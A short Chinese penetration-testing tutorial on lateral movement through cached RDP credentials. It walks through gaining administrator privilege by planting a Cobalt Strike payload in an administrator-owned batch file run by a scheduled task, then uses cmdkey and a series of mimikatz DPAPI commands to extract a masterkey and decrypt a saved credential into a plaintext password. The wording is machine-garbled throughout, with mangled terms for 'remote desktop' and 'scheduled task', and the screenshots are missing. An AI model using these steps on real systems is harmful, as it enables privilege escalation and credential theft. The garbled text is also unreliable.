内网横向之RDP缓存利用

RDP（长途桌面协议）在毗连过程中会缓存凭据，尤其是在启用了 "保存密码" 或 "凭据管理器" 功能时。这个缓存的凭据通常是用于自动添补和简化后续毗连的过程。凭据一般包含了用户的用户名和密码信息，大概是经过加密的身份验证令牌

以是我们想登录这个rdp缓存，就是先找到凭证，再通过mimikatz来解密凭证，获取明文
0x01 以administrator权限上线

WIN+R 输入taskschd.msc
打开任务筹划程序

找到批处理文件(.bat) 是Administrator创建的，找到他的目录

写入cs马子

后在任务筹划程序运行net.bat

就成功上线了

注意:不是说找到一个由administrator创建的.bat文件就行，而是说在筹划任务中，这个由administrator创建的.bat可以以administrator的身份去运行。
0X02 找到RDP凭据

用administrator权限来执行下面的命令

1. cmdkey /list

复制代码

发现存在凭证后
再用内里的文件浏览功能

之后找到下面的凭据

再次说明，这个凭据是因为administrator在RDP其他主机的时候，选择了记着我的凭证功能，然后在本地保存了一个凭证

0x03 获取guidMasterKey

1. privilege::debug
2. dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\F18D03964B3469BAEA4542A7792D663B

复制代码

0x04 获取MasterKey对应的

1. privilege::debug
2. sekurlsa::dpapi

复制代码

0x05 拿MasterKey举行解密

1. mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\F18D03964B3469BAEA4542A7792D663B /masterkey:2af578e7d889e691901422cabdd559e42d0a03882073e7ca46abc03422547ec7108113dc8928326cc181c69b6eff2fa7d87a06254474f0a892f9c183d56aae55

复制代码

找到明文密码 就可以登录，达到横向移动->RDP的渗透手法